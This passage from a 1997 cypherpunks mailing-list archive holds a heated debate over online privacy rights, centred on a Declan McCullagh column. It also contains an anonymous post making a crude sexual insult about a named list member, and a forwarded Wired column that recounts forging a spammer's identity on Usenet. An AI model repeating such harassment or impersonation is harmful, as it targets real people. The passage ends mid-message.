> Timmy C. Maya's wee-wee is so tiny that only his mommy is allowed to touch it.
> 
>     __o
>   _ \<_  Timmy C. Maya
>  (_)/(_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 14 Jun 1997 01:15:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970613111747.13113H-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 12 Jun 1997, Tim May wrote:

> According to Netscape spokesmen, this feature was added to the kernel of
> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
> Denning asked us to insert the "remote read" capabilities to ensure that
> the legitimate needs of law enforcement are met. No person cruising the Web
> has any expectation of privacy, as even Declan McCullagh has pointed out."

Tim misrepresents my position, or does not understand it. I did not say
that. Rather, I argued that you have no "right of privacy" that allows you
generally to restrict the right of others to gossip, trade, or otherwise
share information about you. Such a rule would violate their rights of
free speech.

Like Marc, I hope there is still some role for truth in the debate about
privacy issues. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 00:52:54 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
Message-ID: <199706131632.LAA12660@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>, on
06/13/97 
   at 11:38 AM, Ray Arachelian <sunder@brainlink.com> said:

>On Fri, 13 Jun 1997, Declan McCullagh wrote:

>> Oh, and at least read the whole article.
>> 
>> -Declan
>>    
>>    Privacy? What Privacy?
>> 
>>    by Declan McCullagh   June 12, 1997
>>    
>>         I have a confession to make: Unlike many of my civil libertarian
>>    colleagues, I believe you have no general right to privacy online.
>>    Sure, you have the right to protect your personal data, but you
>>    shouldn't be able to stop someone else from passing along that
>>    information if you let it leave your computer. That's your
>>    responsibility.

>I still disagree, and not just online.  There is plenty of information
>that you have no control over but should.  Your credit card transactions
>for instance can be looked up by any scumbag willing to pay money to TRW
>and it's ilk.  Your DMV records, your health records.  In theory only
>those that need to know this knowledge should be able to access it, and
>in practice what have we seen so far? 

Well lets see CC transactions are not just your info but the CC issuers
info & the merchants info. Should it be illegal for you to tell anyone
that you bought a HD from Segate or that you used your Carte Blanch card
to do it? If you don't like it pay *CASH*.

Health Records are only between you and your doctor unless you bring in a
3rd party (aka health insurance). Once you do that you have opened up your
records to whatever the policy of your insurance company is, don't like it
get a different insurance company or pay for it in, look out now,
*CASH*!!! (I have paid the last 10yrs of medical & dental bills all in
cash).

DMV records? They are treated the same as *ANY* state licence, they are
part of the public record. This includes land titles, auto titles, birth
certificates, death certificates, marrage & devorce records, any
perfesional license (Doctor, Engeneere, CPA, Archetic, ...ect). As far as
your driving record *ALL* court procedings are open to the public.

In a free and open society it is not only desired that this information be
made public but it is required!! You can not have a free society if
everything the government does is hidden away behind closed doors.

>If I give XYZ corp any info I expect them not to sell that info without
>my permission.  Verily, that information is valuable, therefore if they
>want to sell it, they should get my permission, and should pay me for it.

Why? Have you entered into any agreement that they would not sell this
information? Why is this information any more yours that it is theirs? How
can you claim title to property after you have given it away??? 

Ray you really should re-take Democracy 101 before you start ranting like
this.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 00:05:09 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613082215.27747P-100000@well.com>
Message-ID: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> Oh, and at least read the whole article.
> 
> -Declan
>    
>    Privacy? What Privacy?
> 
>    by Declan McCullagh   June 12, 1997
>    
>         I have a confession to make: Unlike many of my civil libertarian
>    colleagues, I believe you have no general right to privacy online.
>    Sure, you have the right to protect your personal data, but you
>    shouldn't be able to stop someone else from passing along that
>    information if you let it leave your computer. That's your
>    responsibility.

I still disagree, and not just online.  There is plenty of information
that you have no control over but should.  Your credit card transactions
for instance can be looked up by any scumbag willing to pay money to TRW
and it's ilk.  Your DMV records, your health records.  In theory only
those that need to know this knowledge should be able to access it, and in
practice what have we seen so far? 

If I give XYZ corp any info I expect them not to sell that info without my
permission.  Verily, that information is valuable, therefore if they want
to sell it, they should get my permission, and should pay me for it.

I don't necessarily want government restrictions on privacy, however I
would want a constitutional amendment to privacy that says: all I do is
private unless I explicitly share it with others, and if I do share it,
they may not pass it on to others without my permission.  This is on a
personal level, not on a corporate or governmental level.  Why I feel this
way is an excercise for the reader.  Hint: Uncle Sam works for us since we
pay him from our income.  We don't work for him (most of the time.)

How many loons have used DMV records to stalk their victims?

How about the nice Netscape hole that allows sites to surf your hard drive
as you're surfing their sites?

Yes, I do take privacy seriously, and I do protect it.  But to say anyone
has the right to snoop my machines and see what I have there is NOT cool.
What I leave on my computer is my private business, and NOBODY HAS THE
RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
As for Radio Shack weasels, I don't give them info, or give them
misleading info.  What's on my hard drives and in my machine's RAM is NONE
OF ANYONE'S BUSINESS!

At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
that are purchased by credit card I know that info will leak out, and
don't do this unless I'm willing to leak it out.

So, I still disagree with your view.  Even after reading the whole
article.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 00:54:18 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>
Message-ID: <199706131641.LAA12785@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>, on
06/13/97 
   at 12:04 PM, Declan McCullagh <declan@pathfinder.com> said:

>Get a clue. I did:

>        Of course there's an essential right to privacy from the
>   government. (Beware government databases: Nazis used census data in
>   Germany and Holland to track down and eliminate undesirables.)

Well this is rather a poor example. The requirment of a census was written
into the costitution and with good reason. Many of the government actions
are based on demographics congressional districting is a prime example.

There is a fight going on in cogress right now as the current
administration wants to be able to gestimate the census rather than doing
an actuall head count so it can manipulate the figures any way it wants
(ie change the figures in key congressional districts so they can re-draw
them to favor their supporters).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 00:00:49 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613082033.27747N-100000@well.com>
Message-ID: <Pine.SUN.3.96.970613113859.23715G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> I suppose I am scum, at least by Ray's definition.
> 
> But let me ask this question: if someone *did* post my credit card/bank
> records online through an anonymous remailer, what recourse would I have?
> What recourse should I have?
> 
> -Declan

My point exactly.  Why should anyone have access to my machine or my
records and be able to pass it on to others?  Sure the insurance companies
will squeal that they should have access to my DMV and health records, but
should they have the right to take that info and pass it on publically?

What recourse do you feel you should have?

What would YOU do if someone did post all your personal info online?
things like credit records, home address, phone number, DMV records,
health records and such?  What would you WANT to do?  And what control do
you currently have over this?

Mind you, with your credit card info, any one of the "ankle biters" of the
Bevis & Butthead mentality would be able to purchase a dozen toilets and
have them shipped to your home, and other such abuses.  Or report all your
credit cards stolen right before you decide to entertain someone to dinner
and find you can't pay for it... etc...  These are all well known pranks.

Do you see my point and why I'm vehemently opposed to yours?

Or do you believe that "Oh, I have nothing to hide, I'm a good person and
have nothing to fear from anyone?"

> 
> 
> On Fri, 13 Jun 1997, Ray Arachelian wrote:
> 
> > On Thu, 12 Jun 1997, Declan McCullagh wrote:
> > 
> > > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> > 
> > [...]
> > 
> > >      I have a confession to make: Unlike many of my
> > > civil libertarian colleagues, I believe you have no
> > > general right to privacy online. Sure, you have the
> > > right to protect your personal data, but you shouldn't
> > > be able to stop someone else from passing along that
> > > information if you let it leave your computer. That's
> > > your responsibility.
> > 
> > 
> > Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> > morals, eh?  Maybe if someone would go through all your records and post
> > them all over the net, you'd feel differently!
> > 
> > Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> > scum if you believe this.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 13 Jun 1997 23:56:18 +0800
To: declan@pathfinder.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
Message-ID: <199706131550.LAA30964@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:
> 
> I suspect the scare about privacy has led to muddled thinking.

I agreed with the point of your article, though you might have been
more careful when uttering the magic word "right".


> I'm surprised not to hear more from other folks here: my position is one
> cypherpunks have advocated for years -- controlling what data flow from my
> computer is my responsibility.

I completely agree with your position.  I assumed the lack of reaction
was simply because you're preaching to the choir here.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 01:43:59 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706131632.LAA12660@mailhub.amaranth.com>
Message-ID: <199706131654.LAA13008@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706131632.LAA12660@mailhub.amaranth.com>, on 06/13/97 
   at 11:23 AM, "William H. Geiger III" <whgiii@amaranth.com> said:


>DMV records? They are treated the same as *ANY* state licence, they are
>part of the public record. This includes land titles, auto titles, birth
>certificates, death certificates, marriage & divorce records, any professional license (
>Doctor, Engineer, CPA, Architect, ...ect). As far as your driving record *ALL* court >proceedings are open to the public.

Wow, sorry about that last message my spell checker seems to be on the
blink. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 00:04:28 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
Message-ID: <Pine.SUN.3.96.970613114522.23715H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> I suspect the scare about privacy has led to muddled thinking.
> 
> Free speech is a right that strictly limits the government's ability to
> control what you say. We should have a similar right of privacy from the
> government.

That would be nice.  You should have put that in your article.

> But I give up my free speech "rights" when I attend a college with a wacky
> speech code or go to work at a company with workplace speech policies. My
> choices in those situations are governed by my free speech preferences. 
> Similarly, I give up my privacy "rights" when I go to unknown web sites,
> apply for a loan, or post to Usenet, etc. These also are preferences. 

But here you have a choice, you can chose to not accept that job or attend
that class, or surf that site, or even do so with a nome de guere. What
choice have you to control TRW or the DMV's, or your criminal records if
you have any?  Those aren't on your computer.

You can always attend the classes under assumed names.  This has been done
before.  (I believe one of the Steves at Apple did this - Wozniak???)
 
> I'm surprised not to hear more from other folks here: my position is one
> cypherpunks have advocated for years -- controlling what data flow from my
> computer is my responsibility.

It's still early in the morning.  I'm sure the thread will explode pretty
soon. Yes, but what about the information that others can get to on your
ISP?  Do you control that info?  We've always advocated protecting our own
data, but this doesn't mean that we should invade the privacy of those who
are clueless, or suck it in when some rogue piece of software (see the
netscape thread) endagers our privacy. 

I'm not saying pull your shades up and stand butt naked infront of your
windows.  I'm saying someone shouldn't have the right to stick a camera in
your home without your knowledge and then publish pictures of you in
Playgirl or whatever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 13 Jun 1997 18:10:50 +0800
To: cypherpunks@toad.com
Subject: Quadratic residues
Message-ID: <199706131000.MAA10625@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. Maya's wee-wee is so tiny that only his mommy is allowed to touch it.

    __o
  _ \<_  Timmy C. Maya
 (_)/(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@communities.com>
Date: Sat, 14 Jun 1997 03:21:30 +0800
To: cypherpunks@toad.com
Subject: Spam Libs (Frauenfelder on HotWired)
Message-ID: <3.0.32.19970613120139.0074c9b4@homer.communities.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded-by: Chip Morningstar <chip@communities.com>
Forwarded-by: Peter Langston <psl@langston.com>
Forwarded-by: Keith Bostic <bostic@bostic.com>
Forwarded-by: Jeff Moore <jbm@instinet.com>

This comes from HotWired's `packet' site, at:

    http://www.packet.com/packet/frauenfelder/nc_today.html

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Spam Libs

Bulk email spawns ingenious offensives from the masses

Do you remember Droodles? They're those simple line drawings that look
like nonsense until you read the captions. Droodles were invented in the
'60s by a humorist named Roger Price, an author probably best known for
his stinging critique of American society, The Great Roob Revolution. I
was lucky enough to get to know Roger before he died in 1990. He had lots
of great comics, books, and original art (from people like MAD Magazine
creator Harvey Kurtzman) lying around his Studio City, California, home.

Beside Droodles, Roger also invented Mad Libs. You might remember these,
too. Mad Libs were little books with stories in them. But the stories had
several missing words, with instructions to insert verbs, nouns, and
adjectives in the blank spaces.  The game was played at parties, where
one person asked the others to supply the missing words. Then the story
was read out loud and everybody laughed heartily at the result.  (There
are dozens of Mad Lib knockoffs on the Web.)

Because spammers work their cons anonymously, hiding behind forged email
addresses and working out of PO boxes, our imaginations can run wild about
what they look like. My fantasy spammer is a rat-skinny, potbellied,
40-year-old with a greasy salt-and-pepper ponytail and beard.  And he's
rat-smart: After being spammed with get-rich-on-the-Net messages, he
bought the lists containing millions of email addresses, and he bought
the DIY spam software, and now he's in business for himself, working from
the spare bedroom of his mother's house in a Las Vegas suburb.  I'm
grateful to Roger and his Mad Libs for helping me come up with a fun spam
prank. It all started a couple of weeks ago when I received the following:


	Do you drink bottled water?
	Are you looking for a
	discount? How about 4 cents
	a gallon? With our high
	quality water-filtration
	systems, you can bottle
	your own!! Email your name,
	address, phone# & email
	address to The Water Lady -
	TheWaterLady@----.com

I copied this stupid message into my word processor, and using the
search-and-replace function, swapped every occurrence of the word "water"
with "urine," then sent the result to the Water Lady:

	I received the following
	advertisement and I'm
	wondering if it is a joke?

	Do you drink bottled urine?
	Are you looking for a
	discount? How about 4 cents
	a gallon? With our high
	quality urine-production
	systems, you can bottle
	your own!! Email your name,
	address, phone# & email
	address to The Urine Lady -
	TheWaterLady@----.com

In a couple of hours, I got the following reply:

	Dear Mark:

	I don't know who may have
	done this sh*t (sic) to the
	message. Everywhere the
	word < urine > is found was
	originally < water >.
	Please accept our
	apologies. This is
	somebody's idea of a joke!

Heh - it sure was. Pleased with myself, I sent the mutated mail to my
friends. They got in on the action, respamming the Mad-Libbed message back
to The Urine Lady. Someone even posted the message on
alt.sex.fetish.watersports, with the subject "GOLDEN BOTTLES!" The post
was forged to look as though it were sent by The Urine Lady herself.

That same day, I got a spam trying to sell me a copy of Floodgate
software, a notorious spamming program. I copied the spam to my word
processor and did a few swaps. I changed "Floodgate" to "The Pig Spittle
Drinkers' Toolkit," "email" to "slobber bottle," "program" to
"pig-drool-extraction device," and "software" to "salivary-gland
stimulator." Here's what I sent back to the spammer:

	SPECIAL: Buy the latest
	version of The Pig Spittle
	Drinkers' Toolkit before
	May 21st and receive a list
	of 30 slobber-bottle
	swappers who have millions
	of slobber bottles to swap
	with you as you build your
	database.

	HERE'S WHAT OTHER PIG
	SPITTLE DRINKERS' TOOLKIT
	USERS SAY.....

	"The Pig Spittle Drinkers'
	Toolkit is truly a dream
	come true! By following the
	instructions in the book, I
	was able to develop a list
	of 2,400 slobber bottle
	addresses in less than one
	hour. Furthermore, the
	technical support is
	outstanding. This
	pig-drool-extraction device
	will put me on a level
	playing field with the big
	boys. They don't teach this
	stuff in business school!"

	"This salivary-gland
	stimulator works fantastic
	- I'm so busy now I can't
	keep up with the orders and
	inquiries! Thanks!"

	"I ordered the
	pig-drool-extraction device
	and haven't stopped running
	with it since. With your
	support, (at the drop of a
	hat), with the finest
	pig-drool-extraction device
	ever released for public
	use, I started my dream
	business, a bulk
	slobber-bottle business.

	"If a 'dummy' like me can
	use this salivary-gland
	stimulator, anyone can!
	Great tool!!!"

	[snip]

Soon, my friends and I were mutating and resending almost every spam we
got. Most of the spammers wrote back saying they were mystified and
expressed dismay that anyone would want to hurt their wonderful home-based
business, apologized profusely, and promised that they'd get to the bottom
of the nefarious campaign to defame their good name.

This was our intent: to make them think that someone had intercepted their
spam and was ruining their good name with wacko faux-spam. Only once did
the spammer retaliate by flaming the messenger. Here's the original spam
that a friend received:

	This is a great opportunity
	for your business. How
	would you like to get
	200-300 responses per day
	from your advertisement? At
	Selective Marketing we make
	it happen for your
	business. Selective
	Marketing is a bulk email
	advertiseing (sic) company
	that generates hundreds to
	thousands of responses for
	your business.

	[snip]

Here is his reply to the spammer:

	WHAT IS THE MEANING OF THIS
	DISGUSTING SATANIC FILTH?
	ALL FORTY-SIX MEMBERS OF
	'CHRISTAIN VIRGINS AGAINST
	INTERNET SEX' RECEIVD THIS
	DISGUSTING PIECE OF HATE
	MAIL AND I DEMAND THAT YOU
	PROVIDE AN EXPLANATION! WE
	ARE CONSULTING OUR LAWYERS
	NOW TO SEE IF LEGAL ACTION
	CAN BE TAKEN!

	JOHNATHON JILLIAN DAVES

	This is a great opportunity
	for your penis. How would
	you like to get 200-300
	penises per day from your
	penis? At Selective
	Marketing we make it happen
	for your penis. Selective
	Marketing is a bulk penis
	advertising company that
	generates hundreds to
	thousands of penises for
	your penis.

The spammer sent 61 identical emails to my friend, which read:

	YOU WILL LEARN NOT TO FUCK
	WITH ME YOU PIECE OF
	SHIT!!!!!!!!!

(My friend said it took him "all of 30 seconds" to save the messages in
a folder.)

If you want to play the Mad Lib Mutated Spam game, here are some tips.
(Remember, some of this stuff might get you in trouble with the long
tentacle of the law, so proceed at your own risk.)

1. Usually, spams do not contain valid email addresses. But there are a
   couple of ways to get a real address. First, you can look up the
   spammer's domain name on InterNIC's Whois database. That'll yield a
   couple of email address you can use.  The other way is to visit the
   spammer's Web site, which is often listed in the spam. If it isn't,
   just try typing the spammer's domain into your Web browser, and see if
   anything pops up. As a last resort, you can fax or snailmail your
   mutated message to the spammer, as they usually list their phone number
   and mailing address in their desperate quest to get their sebum-coated
   hands on your money.

2. If you have an AOL account, create a special email address (you are
   allowed up to five different addresses per account). I send most of my
   Mad-Libbed spams through an AOL address used exclusively for
   antispamming.  That way, if the spammer flips out and decides to mail
   bomb you or forge your name on obscene Usenet postings, it won't
   matter. This also works with Web-based anonymous email services like
   HotMail.

3. If you're technically adept, you might want to try "linking two
   spammers to each other," as another friend suggests. By "sending
   mutated mail to other spammers," says my Mad Lib buddy, "maybe they
   will start suspecting each other of mutual spam mutating, and spamming
   will enter a new era of conspiracy and distrust."

If you get any especially good results from playing Mad Lib Mutated Spam,
please tell me about it!

[Mark Frauenfelder]

Send mail to Mark Frauenfelder at mark@wired.com

Illustration by Dave Plunkert

[to webmonkey]
[to netsurf central]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 14 Jun 1997 00:23:14 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613114522.23715H-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray appears unwilling or unable to read what I write, so I may be leaving
this thread unless it becomes more interesting and less repetitive,
quickly. 

On Fri, 13 Jun 1997, Ray Arachelian wrote:

> > Free speech is a right that strictly limits the government's ability to
> > control what you say. We should have a similar right of privacy from the
> > government.
> 
> That would be nice.  You should have put that in your article.

Get a clue. I did:

        Of course there's an essential right to privacy from the
   government. (Beware government databases: Nazis used census data in
   Germany and Holland to track down and eliminate undesirables.)

> It's still early in the morning.  I'm sure the thread will explode pretty
> soon. Yes, but what about the information that others can get to on your
> ISP?  Do you control that info?  We've always advocated protecting our own

Yes. You can control it. Try learning how to "chmod 700 ~". If you don't
do it, don't whine about violations of your "privacy rights."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 01:21:17 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
Message-ID: <Pine.SUN.3.96.970613122604.23715I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> It's sad but not surprising that Ray didn't even bother to read the
> article before saying "FUCK YOU." Talk about clueless...

No, at the time, I didn't read the entire article, I did read the ENTIRE
snipped version you posted. You then later posted the whole article
stating "at least read the whole thing" and I did read the whole at that
point.  However, I didn't change my oppinion on this.
 
> He still misunderstands my position. I'm saying you have no property right
> in information others collect about you.

You say I misunderstand your position.  I say I disagree with it.  I
disagree to having no property rights to information others collect about
me. I believe that others should not have the right to collect information
about me without my consent.  There lies the difference. Why do you
continue to refuse to understand that I _DISAGREE_ with as opposed to
misunderstand your position?

This isn't about misunderstandings or personality conflicts Declan.  This
is about beliefs.

> Great. You want Congress to pass a law that says "Netscape shall release
> no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

No, I don't wish to have congress pass such laws.  I did however state
that I believe there should be a constitutional right to privacy in terms
of shared information - a built in Non Disclosure Agreement between all
interactions.  One does not exist, IMHO it should. 

If I chose to speak in public - as in this forum, I expect that my words
will not be private.  That's a given.  If I speak to XYZ Bank and apply
for a loan or credit card, I want that information to be private.

If I purchase a printed magazine, the publisher doesn't expect me to scan
it in and post it on the net, free for all to access.  In fact, if I were
to do that and persist in doing it, I would get sued for copyright
infringement.

I don't believe in software patents, but I do believe in copyright.  I
believe that what I do, or say should be copyrighted by default.  This
includes spending patterns, and such.  Very much ideal and non-reality,
yes, but it is my belief still.  I also believe Congress shouldn't be
populated by a bunch of money and power hungry slime bags.  That is also
ideal to me, but a non-reality.  Doesn't mean I shouldn't believe it, nor
does it mean I shouldn't have the right to disagree with someone that says
"Congress should be populated by weasels." 

Nor do I believe that TRW or the DMV should have the ability to sell my
information to others without my permission, or collect it for that matter
without a contrat that states how it will be used and who it will be
shared with. Can you name one Credit Card company that DOES NOT share its
info with TRW?  Yes, I can get a debit card, but information about
transactions on it will wind up in the hands of TRW.

That would be an ideal. Unfortunatly, I have been forced to give up some
privacy for things like credit cards and a driver's license.  I don't see
that I've had any other choice than to give up the ability to drive and
purchase things without having to carry large sums of cash.  I was forced
into giving up privacy.  Same as you I suspect.  That doesn't mean I agree
with the system.  It means I didn't have any other choice given basic
needs.  It doesn't mean that given the chance to change it by voting, I
wouldn't. 

Back to the strawman beatings:

I later cited the Netscape hole (or feature if you are paranoid) as an
example of something that could escape my machine and stated that whether
or not I secure my machine, if information escapes it by such methods, my
privacy has been violated.  This was given as a hypothetical example of
protecting one's privacy, yet still having it violated by leaks.

I cannot verify that Netscape's browser won't violate my security.  I am
forced to put some level of trust in it if I chose to use it.  Were I to
ask a Netscape representative whether their software were secure before
this bug/feature was discovered, would they say no?  Sure, I could use IE
or some other browser, but unless I carefully analyze the source code, I
wouldn't know if it had holes.  This paragraph is moot and I'm sure you
understand all this already.
 
> > Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> > has the right to snoop my machines and see what I have there is NOT cool.
> > What I leave on my computer is my private business, and NOBODY HAS THE
> > RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
> 
> I'm not saying that people have a "right to surf (?) it without your
> permission." That's a violation of your property rights, a trespass. But
> if you connect to my web site, I should be allowed to record whatever info
> leaks from your computer. Don't like it? Cut the flow or don't come. 

The keyword here is "leaks."  It doesn't imply with permission.  It
implies the opposite; and here is where I brought the Netscape bug as an
example of a flaw in your thinking.  If they, whether on purpose or not,
have the ability to snarf anything my browser is willing to give them
without my permission, this too is a breech of my privacy.  In this
example, even though I have taken precautions to disable cookies and
DIDN'T enter information as to my email identity, it is still possible to
grab it off my hard drive without my permission.  

Ditto for the ActiveX component that those German hackers wrote to grab
info out of Quicken. Was it the fault of the person surfing that some dork
at Microsoft misdesigned their software?  And because of that, some hacker
got my credit cards and went shopping?  What recourse do I have against
that happening once it does?

How do these breeches fit into your ideals?  You can brush them off and
say "oh, those were bugs or flaws" but privacy has still been violated.
How do you feel they should be dealt with?

Shall we accept rogue software, and Big Brother Inside software as mere
flaws?  True, Netscape will say these were unintentional.  But if they
weren't, -- if they were intentional, would we stand for them and accept
them?

Earlier I asked you a similar line of questions, which you haven't yet
answered (at the time of this writing.)  Again, what recourse do you feel
you should have against such invasions of your privacy?  What
protection(s) do you feel you should have? (Other than stating, if you
don't want it to leak, don't let it - for which I've shown you plenty of
examples of exceptions.)


In yet another message you've stated "chmod 700 ~" as a cure.  Very funny.
A whole lot of good that would do against someone who obtained root, or
managed to grab my ISP's backup tapes, etc...  Doesn't mean I do not
understand that my ISP can't do this.  Doesn't mean Mitnick won't get
out of jail and break into my account.  It means I don't want them to.

Sorry, I still chose to DISAGREE with you.  You might be able to convince
